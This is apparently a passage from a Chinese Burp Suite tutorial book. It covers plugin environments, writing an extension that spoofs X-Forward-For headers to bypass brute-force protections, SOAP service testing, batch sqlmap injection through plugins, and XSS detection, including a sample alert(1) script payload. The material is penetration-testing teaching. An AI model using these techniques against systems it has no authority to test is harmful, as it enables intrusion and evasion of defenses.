选择此项时,Burp在重启时,会自动加载Burp在上次关闭时加载的插件内容;而剩下的三项 设置是根据插件类型的不同时所需要的运行环境的配置。我们先来看第一个运行环境【Java Environment】。 BurpSuite是基于Java语言开发的软件,通常情况下,当你运行此软件时,系统中的 JAVA_HOME、CLASS_PATH、LIB_PATH变量均已正确地配置完成,否则你是难以运行 BurpSuite的,所以,通常情况下你是无须再配置此参数;如果实在需要配置,你的插件需要 特殊的jdk版本要求或者其他ja,则选择将jar添加即可。 第十五章BurpSuite应用商店插件的使用 181 而【PythonEnvironment】和【RubyEnvironment】是Burp插件的Python运行环境和Ruby运 行环境的配置。前文我们已经知道,Burp是java语言编写的软件,所以运行Python和Ruby需 要配置兼容Java与Python、Java与Ruby的jar,默认情况下,Burp支持的为JPython和JRuby, 这两个软件的地址分别是:http://www.jython.org/、http://jruby.org.其安装方式非常简单,此 处以JPython为例:1.下载JPython的安装包,Jpython的安装分jython-installer-2.7.0.jar和 jython-standalone-2.7.0.jar两个。如果使用jython-installer,则下载完毕后,双击此jar,按照 安装向导,一路【Next】到如下图的界面,记录安装路径。然后一直默认,直至安装结束。 如果使用jython-standalone-2.7.0.jar,则直接进行第2步。2.在Burp的PythonEnvironment环 境中配置Jpython,如果使用的jython-standalone-2.7.0.jar,则如下图指定jar存放的位置即 可;如果是使用jython-installer方式,则指定安装的文件夹,由软件自己加载(此处为了说明 使用的方式,两个输入域均输入了,实际使用时,Jpython之输入其中之一即可)。 第十五章BurpSuite应用商店插件的使用 182 至于JRuby的配置与JPython类似,此处就不再赘述。配置完插件运行的可依赖环境之后,当 我们使用插件时就能正常使用,否则,在插件的【Errors】标签页中会有错误的提示信息,我 们可以根据错误提示来修改自己的配置。 ++值得注意的是,当我们使用Burp插件功能,对于Burp运行时所需要的JVM内存占用比较 大,一般建议设置为1G,具体设置请参考第一章节。++ 第十五章BurpSuite应用商店插件的使用 183 如何编写自己的BurpSuite插件 BurpSuite的强大除了自身提供了丰富的可供测试人员使用的功能外,其提供的支持第三方拓 展插件的功能也极大地方便使用者编写自己的自定义插件。从上一章节我们已经了解到, BurpSuite支持的插件类型有Java、Python、Ruby三种。无论哪种语言的实现,开发者只要 选择自己熟悉的语言,按照接口规范去实现想要的功能即可。下面我们就来看看如何开发一 个BurpExtender的插件。本章讲述的主要内容有: API简述 Burp插件的编写前准备 Burp插件的编写(Java语言版) API简述 第十六章如何编写自己的BurpSuite插件 184 打开BurpExtender的APIs的Tab页,看到的界面如下图所示: 界面由左边的接口类和右边的接口定义和描述构成,其中左边的最下端有两个按钮,图中1按 钮为保存接口类,当我们点击保存后,在指定的存储目录下,会生成一系列的java文件,如下 图: 第十六章如何编写自己的BurpSuite插件 185 这些文件的内容即为前一张图中右边所示的内容,按照java语言的源文件格式存放的,在编写 插件时,可直接将burp包引入Project中使用。而前一张图中2按钮为保存Javadocs,点击保存 后,会在存储目录中存放与API相对应的JavaDocs文件。用浏览器打开则如下图所示: 第十六章如何编写自己的BurpSuite插件 186 除了上文说的,我们能导出JavaDocs到本地外,Burp官方也提供了一份在线文档,地址 为:https://portswigger.net/burp/extender/api/index.html下面我们根据接口功能的不同对API 进行分类。 1. 插件入口和帮助接口类:IBurpExtender、IBurpExtenderCallbacks、 IExtensionHelpers、IExtensionStateListener IBurpExtender接口类是Burp插件的入口,所有Burp的插件均需要实现此接口,并且 类命名为BurpExtender。IBurpExtenderCallbacks接口类是IBurpExtender接口的实 现类与Burp其他各个组件(Scanner、Intruder、Spider......)、各个通信对象 (HttpRequestResponse、HttpService、SessionHandlingAction)之间的纽带。 IExtensionHelpers、IExtensionStateListener这两个接口类是插件的帮助和管理操作 的接口定义。 2. UI相关接口类:IContextMenuFactory、IContextMenuInvocation、ITab、ITextEditor、 IMessageEditor、IMenuItemHandler 这类接口类主要是定义Burp插件的UI显示和动作的处理事件,主要是软件交互中使 用。 3. Burp工具组件接口类:IInterceptedProxyMessage、IIntruderAttack、 IIntruderPayloadGenerator、IIntruderPayloadGeneratorFactory、 IIntruderPayloadProcessor、IProxyListener、IScanIssue、IScannerCheck、 IScannerInsertionPoint、IScannerInsertionPointProvider、IScannerListener、 第十六章如何编写自己的BurpSuite插件 187 IScanQueueItem、IScopeChangeListener 这些接口类的功能非常好理解,Burp在接口定义的命名中使用了的见名知意的规 范,看到接口类的名称,基本就能猜测出来这个接口是适用于哪个工具组件。 4. HTTP消息处理接口类:ICookie、IHttpListener、IHttpRequestResponse、 IHttpRequestResponsePersisted、IHttpRequestResponseWithMarkers、IHttpService、 IRequestInfo、IParameter、IResponseInfo 这些接口的定义主要是围绕HTTP消息通信过程中涉及的Cookie、Request、 Response、Parameter几大消息对象,通过对通信消息头、消息体的数据处理,来 达到控制HTTP消息传递的目的。 通过对Burp插件API的功能划分,我们对API的接口有一个初步的认知,知道在使用某个功能 时,可以去哪个接口类中寻找相应的接口定义来做自己的实现。例如。我们想显示一个Tab页 界面,那么肯定是要实现ITab接口;如果需要对消息进行编辑修改,则需要实现 IMessageEditor接口;需要使用payload生成器,则需要实现IIntruderPayloadGenerator接 口。通过接口分类后再找具体的接口定义的方法,可以帮助我们在不太熟悉Burp插件API的 情况下,更快地开发出自己需要的插件。 Burp插件的编写前准备 编写一个完整的Burp插件的大体过程可分为如下三步: 1.导入Burp插件接口,即通过APIs界面上的【saveinterfacefiles】的保存动作,将生成的文 件连同burp目录一下添加你自己的JavaProject中。 2.编写Burp插件,即通过自己的代码编写,完成自己想实现的功能插件的编码过程。 3.加载Burp插件,即将上一步编写完成的插件,打包后导入BurpExtensions中,进行试用测 试的过程。 其中第一步和第三步对大多数来说,没有难度,主要难度在于如何编码实现Burp的插件。在 BurpSuite的官方网站上,插件编写网址:https://portswigger.net/burp/extender/。当我们打 开这个网页,会发现网站上有一系列Demo,包含各个编程语言的实现的源代码,这些 第十六章如何编写自己的BurpSuite插件 188 Demo,按照开发的难度逐步增加的,我们可以点击【Download】链接下载源码进行分析和 学习(网页截图如下所示)。 除了这些Demo外,网站还有一篇插件编写入门的文章。网 址:http://blog.portswigger.net/2012/12/writing-your-first-burp-extension.html。文章中以Java 和Python语言为例,编写一个最简单的Burp插件来熟悉插件的编写流程,阅读这些文章,会 给我们编写Burp插件带来极大的帮助。阅读完这篇文章之后,接着官方的归档文件中,会有 一些由浅入深讲解插件编写的文章,E文好的同学也可以自己看看,网址点 击:http://blog.portswigger.net/2012_12_01_archive.html 如果你没法读懂这些文章,那么我们一起先来看看编写Burp插件的准备工作有哪些,下一章 以实例学习如何编写一个Burp插件。通常编写Burp插件的准备工作有: 1. 安装JDK------我相信会使用BurpSuite软件的同学都已经安装过JDK了,如果没有安装, 请阅读此书的第一章第二章相关章节。 2. 安装IDE------一款好的IDE能使得开发效率得到极大的提升,Java语言推荐使用Eclipse或 者IntelliJ,Python推荐使用Pycharm或者PyDev,具体每一个IDE软件的安装,请读者自 己查找学习。 3. 熟悉编程语言的语法-----这是编写插件的基础,如果连基本的语法都不熟悉,编写Burp代 码是有一定难度的,接下来的文章中,编者默认为阅读者对语法的掌握程度是熟悉的。 第十六章如何编写自己的BurpSuite插件 189 具备了以上三点,把你自己想要实现的插件功能按照软件需求分析的流程在图纸上简单地画 出来,我们即可以进入插件开发环节。 Burp插件的编写(Java语言版) Burp插件的编写语言有Java、Python、Ruby,此处我们以Java为例,来学习编写一个插件。 插件要实现的功能是:在http和https请求的header部分添加一个X-Forward-For字段,而字段 中的IP地址是随机生成或者指定的,用于绕过使用该字段来防护暴力破解等的场景。插件代 码的编写是基于网友bit4woo的Burp插件源码进行二次开发的。源项目github地 址:https://github.com/bit4woo/Burp_Extender_random_X-Forward-For,在此向网友 bit4woo致谢! bit4woo网友的源码中实现的插件中仅有X-Forward-For的消息头添加,无插件的UI界面,我 们无控制插件是否生效和跟踪http消息通信的直观查看。因此,我们需要实现的插件的功能如 下: 1. 对使用插件的HTTP请求消息头中添加X-Forward-For字段 2. 添加UI界面,直观地感受插件的使用。 3. 跟踪HTTP消息,在Burp中使用了哪些组件,请求的URL是什么,请求后的http状态码是否 多少。 4. 能在插件中控制本插件是否拦截所有的HTTP请求消息,即是否对请求消息头添加X- Forward-For字段。 5. 添加的X-Forward-For字段是随机生成还是自己指定的值。 插件编写完成的消息跟踪界面(HistoryLog)如下图: 插件的设置界面(Options)如下: 第十六章如何编写自己的BurpSuite插件 190 下面我们就来看看具体的编码实现(此处仅仅谈Burp插件的编写,Swing组件的使用不涉及, 默认编写者对Swing已熟练掌握)。 1.首先在burp包中定义了一个名称为BurpExtender的java类,必须继承IBurpExtender接口。 这个上一个章节已经阐述过了。 2.因为要在Burp中添加一个tab页作为我们自定义的UI,所以我们需要实现ITab接口;因为要 显示请求和响应消息,所以需要实现IMessageEditorController接口;因为要拦截请求的报 文,添加X-Forward-For,所以需要实现IHttpListener接口。如上图所示。类定义完成后,导 入未实现的方法,则类的UML图如下: 第十六章如何编写自己的BurpSuite插件 191 2.因为要在Burp中添加一个tab页作为我们自定义的UI,所以我们需要实现ITab接口;因为要 显示请求和响应消息,所以需要实现IMessageEditorController接口;因为要拦截请求的报 文,添加X-Forward-For,所以需要实现IHttpListener接口。如上图所示。类定义完成后,导 入未实现的方法,则类的UML图如下: 3.接着就是对接口类的方法实现,在UML中,下面两个是需要实现的主要函数: registerExtenderCallbacks(finalIBurpExtenderCallbackscallbacks)这个函数是 Burp插件的入口,在这里主要做了如下工作:1)初始化插件和组件对象2)设置自定义 的UI界面原型。 其中创建自定义UI的run函数代码如下: 第十六章如何编写自己的BurpSuite插件 192 其次是processHttpMessage(inttoolFlag,booleanmessageIsRequest, IHttpRequestResponsemessageInfo)这个函数的功能主要是对HTTP消息的处理和添 加HTTP消息到History列表中。其代码如下: 第十六章如何编写自己的BurpSuite插件 193 除了这两个函数,其他函数的功能主要是为了UI展示做的各种逻辑操作,此处就不再叙 述了,想要了解的同学可以下载本章后面附的源码进行阅读。 第十六章如何编写自己的BurpSuite插件 194 4.完成了主要函数的编码之后,插件开发的部分就已经结束了,这时候,我们只需要把代码导 出成jar把,加载到BurpExtensions中测试运行即可。 5.本插件和其源码下载地址 点击下载插件jar 点击下载源码 下载完毕后,你可以把src中的两个java类放入从APIs标签页中导入的接口类所在的burp包 中,编译后打包jar运行;也可以直接把下载的X-forward-For.jar导入Burp拓展插件中,即可看 到插件的运行界面。 第十六章如何编写自己的BurpSuite插件 195 使用BurpSuite测试WebServices服务 从这一章开始,我们进入了Burp的综合使用。通过一系列的使用场景的简单学习,逐渐熟悉 Burp在渗透测试中,如何结合其他的工具,组合使用,提高工作效率。本章主要讲述在测试 WebServices服务中,如何使用BurpSuite和SoapUINGPro的组合,对服务接口进行安全测 试。本章讲述的主要内容有: 使用场景和渗透测试环境配置 渗透测试过程中组合软件的使用 使用场景和渗透测试环境配置 在日常的web测试过程中,除了基于浏览器展现技术的客户端应用程序外,基于SOAP协议进 行通信的WebService服务也很常见。WebService的出现是为了解决分布式、跨平台、低耦合 而实现的不同编程语言之间采用统一的数据通信的技术规范,在应用程序中,常作为独立的 业务模块对外提供具体的业务功能或者为前段提供数据处理的业务接口。因SAOP协议中的接 口定义使用XML作为描述性语言,这与php、jsp之类的通信交互在渗透测试上还是有很大的 差异。如果使用Burp对通信消息进行拦截抓包,一次典型的消息内容如下图所示: 其http消息头中包含SOAPAction字段,且消息体为 <soapenv:Envelope>封装的xml文本(更多 关于WebService的文章请阅读者自行搜索)。正因为WebService这些特征,所以在渗透测试 中我们也需要选择能解析SOAP协议和WSDL描述的软件。这里,我们使用的是SoapUING Pro和BurpSuite。他们各自的作用分别是: SoapUINGPro:渗透测试流程的发起,通信报文的解析、集合payload之后通信报文 的重新组装等。 BurpSuite:代理拦截,跟踪通信过程和结果,对通信进行重放和二次处理等。 第十七章使用BurpSuite测试WebServices服务 196 如果按照时序图来展现,他们在通信过程中,各自的时序位置如下: 从 图中我们可以看出,作为代理服务Burp起着通信中间人的作用,可以对消息进行拦截后的编 码、解码、转发、丢弃等各种操作,并记录原始消息。而SoapUINGPro作为WebService的 测试工具,通过构造不同类型的payload来测试、验证漏洞的存在。他们组合在一起,共同完 成复杂场景下WebService服务的渗透测试过程中的安全性验证。 SoapUINGPro是SmartBear公司继SoapUIPro之后推出的企业应用级收费软件,其试用版 下载地址为:https://smartbear.com/product/ready-api/soapui-ng/free-trial/。下载安装完毕 后,打开软件的主界面大体如下图所示(其中图中1部分为不同功能视图之间的切换项,图中 2部分为菜单栏,图中3部分为常用功能菜单,图中4为Project视图区,图中5为主工作区,图 中6部分为属性设置区): 第十七章使用BurpSuite测试WebServices服务 197 安装完毕后,我们首先要做的是将SoapUINGPro的代理服务指向BurpSuite。假设我的Burp Proxy设置为127.0.0.1:8080。则SoapUINGPro的配置是: 1. 点击上图中3部分的Preferences,或者上图中2部分的【File】>>【Preferences】 2. 在弹出的界面中打开proxy选项卡,录入代理地址和端口。 完成以上的配置后,我们对WebService的渗透测试环境已经基本具备,可以开始对一个具体 的WebService服务进行渗透测试了。 第十七章使用BurpSuite测试WebServices服务 198 渗透测试过程中组合软件的使用 渗透测试环境配置后,我们就可以开始测试。这里我们可以自己编写WebService服务端,也 可以通过搜索引擎选择互联网上公开的WebService,我这里使用的 是:http://graphical.weather.gov/xml/SOAP_server/ndfdXMLserver.php?wsdl 一次简单的渗透测试过程大体包含如下环节:1.首先,我们通过SoapUINGPro创建安全测 试用例。如下图: 2.在弹出的界面中,选择通过WSDL创建,接着输入WSDL地址。如下图: 第十七章使用BurpSuite测试WebServices服务 199 3.当SoapUINGPro对WSDL解析完成后,会自动生成一系列的安全测试项: 第十七章使用BurpSuite测试WebServices服务 200 4.我们可以对上图中的安全测试项进行增加和删除,默认情况下,这些安全测试项都是选中 的。比如,如果我们只需要测试是否存在XPath注入,则只要上图中的勾选最下面的一项即 可。当SoapUINGPro根据安全测试项,完成不同的测试用例的创建之后,主操作界面如下 图所示: 第十七章使用BurpSuite测试WebServices服务 201 5.我们可以选择指定的SOAPAction或者某个SOAPAction下的某个安全项进行单一测试,也可 以直接点击run运行所有的安全测试项。如果测试项过多的话,此操作执行时间会比较长,同 时,如果并发数过多,会给服务器端造成压力,这是测试时候需要注意的。如下图所示,图 中WebService接口正在安全测试中,进度条中显示调用的SOAPAction名称。 第十七章使用BurpSuite测试WebServices服务 202 6.如果出现下图的状态,则表示测试进程已经执行完毕。 7.7.此时,我们可以在Burp的Httphistory面板中查询到刚才发生的所有请求消息,通过不同 的过滤条件查找我们关心的请求或响应消息,并发送到Burp的其他工具组件进行消息重放和 处理、验证。 更多关于SOAPUI的使用请阅读这里 SoapUINGPro的安全测试项包括以下内容: 第十七章使用BurpSuite测试WebServices服务 203 边界扫描 SQL注入 XPath/XQuery注入 模糊测试 无效的参数类型 XML格式畸形 XML炸弹 跨站脚本 上传附件安全 自定义扫描 下面就以SQL注入为例,我们看看SoapUINGPro的安全测试配置参数。 对于每一个安全测试项,其基本配置主要分三部分:1.配置项(Configuration) 主要是指协议描述中定义的输入参数、编码类型、SOAP协议中的特定参数 (namespace、import....) 2.自动化测试策略(Straegy) 主要设置测试过程中的请求延时、选择策略、运行方式等 3.高级选项(Advanced) 第十七章使用BurpSuite测试WebServices服务 204 通常是指测试时所需要的payload值,或者生成payload的策略。通过上图我们也可以看 出,payload的值是可以自定义添加的。在github上,fuzzdb是被广泛使用的字典库,我 们可以使用它作为测试的payload字典。项目地址为:https://github.com/fuzzdb- project/fuzzdb 当我们配置完毕后,运行安全测试项时,可以在Burp中查看到发送的payload值,如下图(阴 影选中部分)所示的XSS脚本测试的payload: 同时,我们根据http状态码,对应答进行排序,跟踪可疑的响应消息,获取服务器的敏感信 息。如下图获取的服务器Banner信息: 第十七章使用BurpSuite测试WebServices服务 205 被Burp拦截到的消息记录,我们可以发送到Intruder,使用fuzzdb进行指定的fuzz测试;也可 以发送到Repeater进行手工的消息内容修改和漏洞是否存在性的验证。具体到某个方面的漏 洞,比如说Xpath注入漏洞,在测试过程中,需要测试人员理解Xpath的注入原理,理解Xpath 的语法,根据服务器端的响应消息,自己手工构造特定的payload才能获得更重要的信息。这 些都是在平时的工作中慢慢积累的,而不是光靠一款工具软件就作为万能的解决方案,希望 读者能明白这个道理。 使用Wsdler测试WebService接口: 除了前面我们说的使用SOAPUINGPro测试WebService外,在Burp里也有一个通过WSDL 解析接口定义,手工测试WebService的插件:Wsdler 第十七章使用BurpSuite测试WebServices服务 206 如果你安装了此插件,则在Burp的Proxy>>History中,可以直接使用【ParseWSDL】功 能。 确认使用【ParseWSDL】解析功能后,此插件自动解析出服务的Operation、Binding、 Endpoint。当选中某个Operation之后,可以查看SOAP消息文本。同时,可以发送到Burp的 其他组件进行进一步操作。 第十七章使用BurpSuite测试WebServices服务 207 比如,我们将上图中的消息发送到Intruder,使用字符块(Characterblocks)的对参数进行 边界测试。 发送Intruder后的截图如下: 第十七章使用BurpSuite测试WebServices服务 208 使用的payload为字符串1,从1到50,即1,11,111,1111......直到50个1,来测试参数的边界长 度: 生成payload并执行后的结果如下图所示: 第十七章使用BurpSuite测试WebServices服务 209 上面仅仅简单地叙述了Wsdler的使用,在实际的安全测试中,你可以使用Fuzzdb的字典,进 行更复杂的渗透测试和功能验证。无论你使用什么样的工具,只要能通过一系列的自动化测 试或者手工测试,完成WebService应用程序的安全脆弱性验证,保障应用程序的安全性,提 供了应用程序的安全系统,这就达到我们做渗透测试的目的了。 第十七章使用BurpSuite测试WebServices服务 210 使用Burp,Sqlmap进行自动化SQL注入渗透测试 在OWSAPTop10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命 令行注入、Xpath注入、Ldap注入更常见。这就是本章要讲述的主要内容:在web应用程序的 渗透测试中,如何使用Burp和Sqlmap的组合来进行SQL注入漏洞的测试。在讲述本章内容之 前,默认为读者熟悉SQL的原理和SqlMap的基本使用,如果有不明白的同学,请先阅读 《SQL注入攻击与防御》一书和SqlMap手册(最好是阅读官方文档)。 本章包含的内容有: 1. 使用gason插件+SqlMap测试SQL注入漏洞 2. 使用加强版sqlmap4burp插件+SqlMap批量测试SQL注入漏洞 使用gason插件+SqlMap测试SQL注入漏洞 在正式开始本章的内容之前,我们先做如下两点约定: 你已经安装配置好了python可运行环境 你已经熟悉sqlmap的基本命令行的使用并正确安装 如果你已经做到了上面的两点,那么,我们正式开始进入本章的内容。 BurpSuite与SqlMap整合的插件除了BAppStore中的SQLiPy外(如图), 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 211 还有gason和sqlmap4burp。不同的插件之间的功能大同小异,其目的都是使用命令行调用 SqlMap的API接口进行SQL注入的测试,这里,我们主要以gason为例,讲述具体配置安装和 功能使用。 gason插件安装使用大体分以下几个步骤: 1. 首先是下载gason插件。你可以从这个地址进行下载(点击下载),也可以从官方下载源 码自己编译,总之就是获取到插件的安装文件gason-version.jar 2. 打开BurpExtensions进行安装,点击【Add】按钮,按照图中所示操作即可。安装过程 很简单,如果不明白的话,可参考《BurpSuite应用商店插件的使用》章节的内容。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 212 如果出现了下图中所示结果,且【Output】和【Errors】两个tab页面中没有错误的提示 信息,表示插件已安装成功。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 213 3. 安装完成后,当Burp的Proxy中拦截到消息记录时,可直接发送到sqlmap。如下图所示: 4. 如果没有出现如上图所示的【sendtosqlmap】菜单,则表示插件没正确安装成功,需要 读者自己排查一下安装失败的原因。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 214 5. 当我们在Burp拦截的请求消息上选择【sendtosqlmap】后,则自动弹出sqlmap选项设 置对话框。 从图中我们可以看出,插件会自动抓取消息内容并解析后填充到相关参数设置的选项里 去。例如:参数和参数值,请求方式(GET/POST),url地址等。同时,还有许多与 Sqlmap本身测试使用的选项值仍需要我们自己指定,其中最主要的两个是: bin目录:这里是指sqlmap.py的路径 Command:sqlmap运行时执行的命令行 6.设置bin目录的方式很简单,点击【....】按钮,选择到sqlmap.py的存储路径即可。当bin path配置正确后,下方的Command会自动更新,随着设置参数的不同,自动调整需要执行的 sqlmap命令行(如果不理解界面操作各个设置的含义,可以比较设置前后Command值的变 化,即可以知道某个设置对应于sqlmap参数的哪一个选项)。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 215 6.设置bin目录的方式很简单,点击【....】按钮,选择到sqlmap.py的存储路径即可。当bin path配置正确后,下方的Command会自动更新,随着设置参数的不同,自动调整需要执行的 sqlmap命令行(如果不理解界面操作各个设置的含义,可以比较设置前后Command值的变 化,即可以知道某个设置对应于sqlmap参数的哪一个选项)。 7.所有的配置正确之后,【run】按钮将被激活,点击【run】,系统自动进入sqlmap扫描阶 段。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 216 当进入sqlmap扫描阶段时,插件会新增一个tab页面,显示执行进度,即如上图的箭头所指。 8.我们可以通过进度跟踪的界面上的【savetofile】和【closetab】来保存扫描结果和关闭、 终止扫描。 使用gason插件,与命令行方式执行sqlmap脚本相比,操作变得更加方便。比如说,在命令 行环境中,我们需要先抓取cookie信息,才能放入到命令行里执行;亦或者,我们需要手工录 入一个个参数进行命令行操作,而在gason插件环境中,这些都不需要。当我们点击【send tosqlmap】时,插件自动帮我们完成了这些操作。且与sqlmap个性设置的选项,我们也可以 通过界面操作,自动完成,比命令行下更直观、更高效。 使用加强版sqlmap4burp插件+SqlMap批量测试SQL注入漏洞 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 217 如果你只想执行一次sqlmap的操作,即能完成多个链接地址的SQL注入漏洞测试,使用 gason插件的方式操作起来会比较麻烦。那么,是否存在批量检测的使用方法呢?国内比较 著名的安全网站freebuf上有两篇类似的文章,感兴趣的同学可以自己阅读看看。 1. 【优化SQLMAP的批量测试能】http://www.freebuf.com/sectool/75296.html 2. 【我是如何打造一款自动化SQL注入工具】http://www.freebuf.com/sectool/74445.html 通过上面的两篇文章,我们可以看出,批量操作在实际应用中非常常见,如果能解决批量问 题,则大大地提高了我们的工作效率,下面我们一起来研究一下如何解决这个问题。 在Sqlmap的官方文档中有这样的介绍: 从这段话中我们可以看出,sqlmap可以通过-l参数,一次检测多个url的注入问题,这个参数 的值是Burpproxy或者WebScarabproxy的日志文件。那么,我们是否可以通过插件的方式, 自动生成类似的日志文件,然后调用sqlmap,解决批量检测的问题?答案当然也是肯定的。 在github上,网友difcareer公开了一个Burp插件sqlmap4burp,源文件地址 为:https://github.com/difcareer/sqlmap4burp。我们就基于此插件的功能拓展,来完成自动 化批量SQL测试的功能。 首先,我们来规划一下这个插件的使用场景: 当通过Burp代理的HTTP流量消息都记录在HTTPHistory列表中,我们可以批量地选中 多个url,由插件自动生成类似Burpproxy的日志文件,然后调用sqlmap进行检测。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 218 插件整个使用过程的流程图如下: 上图中浅蓝色背景标示的部分,均为插件所执行的动作。其主要做了这些事情: 1. 判断选中数据是否为空,不为空则获取History列表的已选中数据,无论一条还是多条记 录。 2. 将获取的HTTP消息按照proxy日志的格式,生成日志文件。 3. 调用sqlmap.py脚本,传递生成的日志文件作为参数值进行检测。 明白了这些,接着我们来看proxy的日志文件格式。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 219 如上图所示,我们通过【Options】>>【Misc】>>【Logging】选中Proxy的Requests选项, 自动弹出保存日志文件的路径和文件名,点击【保存】按钮后,则文件生成并开始记录Proxy 的请求消息。我们把生成的日志文件用记事本打开后发现,日志格式如下: 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 220 上图一共两条消息,每一条消息内容又包含图中1的头部,图中2的消息内容和图中3的尾部构 成,而图中2的部分即是消息请求的详细内容,则我们按照此格式手工构造日志文件,通过修 改sqlmap4burp的源码(Windows环境下)从而来完成这个功能。 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 221 在源码SnifferContextMenuFactory.java的我们找到了日志获取的入口createMenuItems函数内 部的actionPerformed函数,遂修改此段代码为: 而创建日志头部和尾部的代码主要是拼写同格式的字符串,详细如下: 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 222 同时,修改sqlmap参数的调用方式,修改SqlmapStarter.java的第21行为: 这样,我们可以实现批量操作的功能了。 插件和源码可以通过如下地址进行下载:插件下载源码下载 下载完毕后,请参考sqlmap4burp的readme完成基本的配置放可以使用,否则sqlmap调用将 会失败,无法完成批量检测。 插件安装完毕后显示跟原来的插件并无多大区别,如下图是发送多条url到SqlMap的截图: 生成的日志文件的截图: 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 223 sqlmap窗口中一次可以检测多个ur截图: 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 224 第十八章使用Burp,Sqlmap进行自动化SQL注入渗透测试 225 使用Burp、PhantomJS进行XSS检测 XSS(跨站脚本攻击)漏洞是Web应用程序中最常见的漏洞之一,它指的是恶意攻击者往 Web页面里插入恶意html代码,当用户浏览该页之时,嵌入其中Web里面的html代码会被执 行,从而达到恶意攻击用户的特殊目的,比如获取用户的cookie,导航到恶意网站,携带木马 等。根据其触发方式的不同,通常分为反射型XSS、存储型XSS和DOM-base型XSS。漏 洞“注入理论”认为,所有的可输入参数,都是不可信任的。大多数情况下我们说的不可信任的 数据是指来源于HTTP客户端请求的URL参数、form表单、Headers以及Cookies等,但是, 与HTTP客户端请求相对应的,来源于数据库、WebServices、其他的应用接口数据也同样是 不可信的。根据请求参数和响应消息的不同,在XSS检测中使用最多的就是动态检测技术: 以编程的方式,分析响应报文,模拟页面点击、鼠标滚动、DOM处理、CSS选择器等操 作,来验证是否存在XSS漏洞。 本章包含的内容有: 1. XSS漏洞的基本原理 2. PhantomJS在XSS检测中的使用原理 3. 使用XSSValidator插件进行XSS漏洞检测 XSS漏洞的基本原理 一般来说,我们可以通过XSS漏洞的表现形式来区分漏洞是反射型、存储型、DOM-base三种 中的哪一种类型。 1. 反射型XSS是指通过给别人发送带有恶意脚本代码参数的URL,当URL地址被打开时, 带有恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参 数的链接才能引起。它的连接形式通常如下: http://localhost/vulnerabilities/xss_r/?name=<script>alert(1);</script> 其name参数的值为 <script>alert(1);</script>,这样的参数值进入程序代码后未做任 何处理,从而被执行。其类似的源代码如下图: 第十九章使用Burp、PhantomJS进行XSS检测 226 2. 存储型XSS是指恶意脚本代码被存储进数据库,当其他用户正常浏览网页时,站点从数 据库中读取了非法用户存储的非法数据,导致恶意脚本代码被执行。通常代码结构如下 图: 其发生XSS的根本原因是服务器端对写入数据库中的内容未做javascript脚本过滤。 3. DOM-base型XSS是指在前端页面进行DOM操作时,带有恶意代码的片段被HTML解 析、执行,从而导致XSS漏洞。 第十九章使用Burp、PhantomJS进行XSS检测 227 PhantomJS在XSS检测中的使用原理 PhantomJS的官网地址:http://phantomjs.org,目前最新版本2.1。它是一个基于WebKit的服 务器端JavaScriptAPI,即在无需浏览器的支持的情况下可实现Web浏览器功能的支持,例如 DOM处理、JavaScript、CSS选择器、JSON、Canvas和可缩放矢量图形SVG等功能。基于 它具有的功能,通常被用于以下场景: 1. 无需浏览器的Web测试:支持很多测试框架,如YUITest、Jasmine、WebDriver、 Capybara、QUnit、Mocha 2. 页面自动化操作:使用标准的DOMAPI或一些JavaScript框架(如jQuery)访问和操作 Web页面。 3. 屏幕捕获:以编程方式抓起CSS、SVG和Canvas等页面内容,即可实现网络爬虫应用。 构建服务端Web图形应用,如截图服务、矢量光栅图应用。 4. 网络监控:自动进行网络性能监控、跟踪页面加载情况以及将相关监控的信息 我们这里使用的主要是利用PhantomJS提供的JavaScriptAPI调用监控和触发接口,方便地 操作html页面DOM节点并模拟用户操作。 在BurpExtender的BAppStore中有一个XSS的检测的插件XSSValidator,就是利用 phantomJS和slimerJS的这些特性,来完成漏洞验证的。下面我们一起来看看它的原理。 在插件安装目录的xss-detector子目录下有一个xss.js的文件,就是phantomJS检测的具体实 现。在代码中我们看到,默认情况下,在本地主机的8093端口启动了一个监听服务,并充当 中间人代理的功能。 第十九章使用Burp、PhantomJS进行XSS检测 228 当phantomJS服务启动,拦截到请求后即通过API接口请求页面并初始化。在初始化过程中, 设置了启用web安全检测、XSS审计、js操作等。 同时,自定义alert、confirm、prompt处理,记录XSS检测信息。 而对于js事件检测的处理,主要是通过事件分发函数去做的。 第十九章使用Burp、PhantomJS进行XSS检测 229 理解了这些过程,基本上XSSValidator使用phantomJS对XSS检测的原理已经掌握了。关于 这个原理的类似分析,新浪微博网友@吃瓜群众-Fr1day的文章说得很清楚,传送门地 址:http://www.tuicool.com/articles/3emU7n 用图例来描述其交互过程,如下图: 在插件处理中几个关键点是需要我们特别关注的: 1. Intruder使用了XSSValidator的payload生成器,将插件与Intruder两者联动合起来。 2. 插件对Intruder发送的消息进行拦截处理,转交phantomjs服务监听端口处理。 第十九章使用Burp、PhantomJS进行XSS检测 230 3. xss.js请求真实的web服务器,并对消息进行处理,添加GrepPhrase标志 4. Intruder组件根据GrepPhrase标志区分是否存在漏洞 只有理解了phantomJS在检测XSS中的原理,我们才可以在工作中,根据实际情况,对诸如 xss.js文件进行修改,来达到满足我们自己业务需求的目的,而不仅仅拘泥了插件使用的本身 功能。 使用XSSValidator插件进行XSS漏洞检测 上一节我们熟悉了phantomJS检测xss的基本原理,现在我们一起来看看XSSValidator插件的 使用。 XSSValidator插件的安装依旧是可以通过BAppStore安装和手工安装两种方式,手工安装需 要下载源码进行编译,这里提供项目的github地 址,https://github.com/nVisium/xssValidator。安装过程由读者自己完成,如果不明白安装, 请阅读Burp插件使用相关章节。安装完毕后,插件的界面如下图所示: 